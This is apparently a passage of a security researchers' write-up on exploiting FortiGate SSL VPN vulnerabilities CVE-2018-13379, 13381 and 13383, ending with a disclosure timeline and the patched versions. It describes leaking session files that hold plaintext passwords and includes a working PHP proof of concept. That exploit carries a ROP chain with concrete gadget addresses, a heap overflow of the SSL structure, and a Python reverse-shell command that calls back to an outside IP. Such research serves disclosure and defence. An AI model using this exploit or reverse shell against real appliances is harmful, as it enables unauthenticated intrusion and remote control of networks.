To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user.
Exploitation
The official advisory described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication.
CVE-2018-13381
Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled.
Single thread, single process, single allocator
The web daemon handles multiple connection with epoll(), no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy.
Operations regularly triggered
This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed.
Apache additional memory management.
The memory won’t be free() until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free.
JeMalloc
JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit.
We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us!
CVE-2018-13379 + CVE-2018-13383
This is a combination of pre-auth file reading and post-auth heap overflow. One for gaining authentication and one for getting a shell.
Gain authentication
We first use CVE-2018-13379 to leak the session file. The session file contains valuable information, such as username and plaintext password, which let us login easily.
Get the shell
After login, we can ask the SSL VPN to proxy the exploit on our malicious HTTP server, and then trigger the heap overflow.
Due to the problems mentioned above, we need a nice target to overflow. We cannot control the heap carefully, but maybe we can find something regularly appears! It would be great if it is everywhere, and every time we trigger the bug, we can overflow it easily! However, it is a hard work to find such a target from this huge program, so we were stuck at that time … and we started to fuzz the server, trying to get something useful.
We got an interesting crash. To our great surprise, we almost control the program counter!
Here is the crash, and that’s why we love fuzzing! ;)
Program received signal SIGSEGV, Segmentation fault.
0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
2: /x $rax = 0x41414141
1: x/i $pc
=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
(gdb)
int SSL_do_handshake(SSL *s)
{
// ...
s->method->ssl_renegotiate_check(s, 0);
if (SSL_in_init(s) || SSL_in_before(s)) {
if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
structssl_async_args args;
args.s = s;
ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
} else {
ret = s->handshake_func(s);
}
}
return ret;
}
We overwrote the function table inside struct SSL called method, so when the program trying to execute s->method->ssl_renegotiate_check(s, 0);, it crashed.
This is actually an ideal target of our exploit! The allocation of struct SSL can be triggered easily, and the size is just close to our JaveScript buffer, so it can be nearby our buffer with a regular offset! According to the code, we can see that ret = s->handshake_func(s); calls a function pointer, which a perfect choice to control the program flow. With this finding, our exploit strategy is clear.
We first spray the heap with SSL structure with lots of normal requests, and then overflow the SSL structure.
Here we put our php PoC on an HTTP server:
<?phpfunctionp64($address){
$low = $address & 0xffffffff;
$high = $address >> 32 & 0xffffffff;
return pack("II", $low, $high);
}
$junk = 0x4141414141414141;
$nop_func = 0x32FC078;
$gadget = p64($junk);
$gadget .= p64($nop_func - 0x60);
$gadget .= p64($junk);
$gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
$gadget .= p64($junk);
$gadget .= p64($junk);
$gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
$gadget .= p64(0x1bed1f6); // pop rax ; ret ;
$gadget .= p64(0x58);
$gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret ;
$gadget .= p64(0x1366639); // call system ;
$gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
$p = str_repeat('AAAAAAAA', 1024+512-4); // offset
$p .= $gadget;
$p .= str_repeat('A', 0x1000 - strlen($gadget));
$p .= $gadget;
?>
<a href="javascript:void(0);<?=$p;?>">xxx</a>
The PoC can be divided into three parts.
Fake SSL structure
The SSL structure has a regular offset to our buffer, so we can forge it precisely. In order to avoid the crash, we set the method to a place containing a void function pointer. The parameter at this time is SSL structure itself s. However, there is only 8 bytes ahead of method. We cannot simply call system("/bin/sh"); on the HTTP server, so this is not enough for our reverse shell command. Thanks to the huge binary, it is easy to find ROP gadgets. We found one useful for stack pivot:
push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
So we set the handshake_func to this gadget, move the rsp to our SSL structure, and do further ROP attack.
ROP chain
The ROP chain here is simple. We slightly move the rdi forward so there is enough space for our reverse shell command.
Overflow string
Finally, we concatenates the overflow padding and exploit. Once we overflow an SSL structure, we get a shell.
Our exploit requires multiple attempts because we may overflow something important and make the program crash prior to the SSL_do_handshake. Anyway, the exploit is still stable thanks to the reliable watchdog of Fortigate. It only takes 1~2 minutes to get a reverse shell back.
Demo
Timeline
11 December, 2018 Reported to Fortinet
19 March, 2019 All fix scheduled
24 May, 2019 All advisory released
Fix
Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above.
